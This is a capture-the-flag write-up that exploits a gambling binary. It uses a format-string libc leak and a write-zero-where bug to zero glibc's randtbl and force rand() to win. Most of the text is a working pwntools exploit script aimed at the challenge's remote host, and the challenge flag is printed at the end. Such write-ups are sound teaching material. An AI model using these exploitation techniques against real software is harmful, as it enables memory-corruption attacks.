Introduction#

We are given an executable and some docker files.

ls -al

Let’s open the executable in ghidra.

main

The program initializes srand with seed time(0). We can login, place a bet, and finally gamble. In gamble, we get five chances to have rand() return a small enough number. In such case, the win function is called which prints the flag.

Analyzing the program, there are two vulnerabilities:

A logic error in the loop of bet() allows to overflow buf to reach local_98 and achieve a format string vulnerability with the printf

bet 2. In gamble() after losing, instead of setting the user money to 0, money is treated as a pointer and 8 bytes at the pointed location are set to 0. This achieves a write 0 where vulnerability. gamble The user money is a variable whose size happens to be 8 bytes, and we can set it during the login.

Based on these vulnerabilities, we can obtain a libc leak using the format string and overwrite libc randtbl entries with 0. Since glibc’s rand() is a stateful PRNG that updates and mixes values stored in randtbl, forcing the table entries to zero collapses the internal state causing the generated values to be zero with higher probability.This technique was inspired by this writeup, which also explains glibc rand() internals in more detail for interested readers.

Installing gdb on the Docker we can look at the stack layout when the format string is triggered, finding that “$33%p” leaks __libc_start_main+122, and that randtbl resides at __libc_start_main + 0x1d8ed0.

Steps of the exploit:

login with user id 0
place bet to leak libc
calculate randtbl address
for i in range(1,9):
- login with user id i, give randbtl + i*8 as money amount
- place bet
- gamble
  - If lucky, flag is printed
  - Otherwise, randbtl + i*8 is set to 0

Exploit:

1
from pwn import *
2
from tqdm import trange
3

4
host = 'remote.infoseciitr.in'
5
port = 8004
6

7
elf = ELF("./chal")
8

9
context.binary = elf
10
context.terminal = ['konsole', '-e']
11
context.log_level = logging.WARN
12

13
gdbscript = '''
14
set follow-fork-mode parent
15
# fmtstr vuln
16
#break *bet+0x21e
17

18
break *rand
19

20
#break *gamble+0x138
21
break *gamble+0x15c
22
continue
23
'''
24

25
#args.GDB = True
26
def connection():
27
    if args.LOCAL:
28
        c = process([elf.path])
29
    elif args.GDB:
30
        c = gdb.debug([elf.path], gdbscript=gdbscript)
31
    else:
32
        c = remote(host, port)
33
    return c
34

35
stuff_to_leak = [(33,"__libc_start_call_main", 122), (23, "_rtld_global", 0), (19, "_IO_2_1_stdin_", 0)]
36
stuff_to_leak = [(33,"__libc_start_call_main", 122)] #only need one if we don't trust libc db :)
37

38
assert(len(stuff_to_leak) < 10)
39

40
def main():
41

42
    c = connection()
43
    user_idx = -1
44
    leaks_list = {}
45
    for index, name , offset in stuff_to_leak:
46

47
        user_idx += 1
48
        # login
49
        c.sendlineafter(b'> ', b'1')
50
        c.sendlineafter(b'(0-9): ', f"{user_idx}".encode())
51
        c.sendlineafter(b'name: ', f'name{user_idx}'.encode())
52
        c.sendlineafter(b'want: ', b'0')
53

54
        # leak libc
55
        payload = b'Z' * 10 + f'%{index}$p#'.encode()
56
        payload += b' '*(16 - len(payload))
57
        assert len(payload) == 16
58

59
        c.sendlineafter(b'> ', b'2')
60
        c.sendlineafter(b'bet: ', f'{user_idx}'.encode())
61
        c.sendafter(b'Currency): ', payload)
62
        cur_leak = int(c.recvuntil(b'#', drop=True).decode(),16)
63
        print(index, hex(cur_leak), name)
64
        leaks_list[name] = cur_leak - offset
65
        #c.interactive()
66

67
    print(leaks_list)
68

69
    #libc_path = libcdb.search_by_symbol_offsets(symbols=leaks_list)
70
    #libc = ELF(libc_path)
71
    #print(hex(libc.symbols.randtbl))
72
    #libc.address = int(leaks_list["__libc_start_call_main"],16) - libc.symbols.__libc_start_call_main
73
    #libc.save('./libc.so')
74

75
    #randtbl = int(leaks_list["__libc_start_call_main"],16) + 0x1d8ed0
76
    randtbl = leaks_list["__libc_start_call_main"] + 0x1d8ed0
77

78
    print("randtbl = ", hex(randtbl))
79

80
    randtbl_idx = -1
81
    for i in trange(10-user_idx):
82
        user_idx+=1
83
        randtbl_idx += 1
84

85
        # login 1
86
        c.sendlineafter(b'> ', b'1')
87
        c.sendlineafter(b'(0-9): ', f'{user_idx}'.encode())
88
        c.sendlineafter(b'name: ', b'baitdecuchis')
89
        #c.sendlineafter(b'want: ', str((libc.symbols.unsafe_state + context.bytes * 3) // context.bytes).encode())
90
        c.sendlineafter(b'want: ', str((randtbl + 8*randtbl_idx) >> 3).encode()) #need to divide by 8
91

92
        #bet
93
        c.sendlineafter(b'> ', b'2')
94
        c.sendlineafter(b'bet: ', f'{user_idx}'.encode())
95
        c.sendlineafter(b'Currency): ', b'a')
96

97
        # gamble
98
        c.sendlineafter(b'> ', b'3')
99
        c.sendlineafter(b'gamble: ', f'{user_idx}'.encode())
100
        c.recvuntil(b"Press ENTER to gamble...")
101

102
        for _ in range(5):
103
            c.sendline(b'')
104

105
            rcvd = c.recvlines(2)
106
            if b"Congratulations! You guessed it right!" in rcvd:
107
                print("got lucky")
108
                c.interactive()
109
                exit()
110

111
    print("got unlucky")
112

113
if __name__ == '__main__':
114
    main()

The loop at the beginning initially leaked multiple libc values in order to use pwntools libcdb.search_by_symbol_offsets to have the offsets calculated automatically. This did not work and we ended up doing the math with hardcoded offsets like the good old times :thumbsup:.

Exploit skeleton provided by Antonio aka simplesso.

flag: flag{r4nd_1s_n0t_truly_r4nd0m_l0l!_57}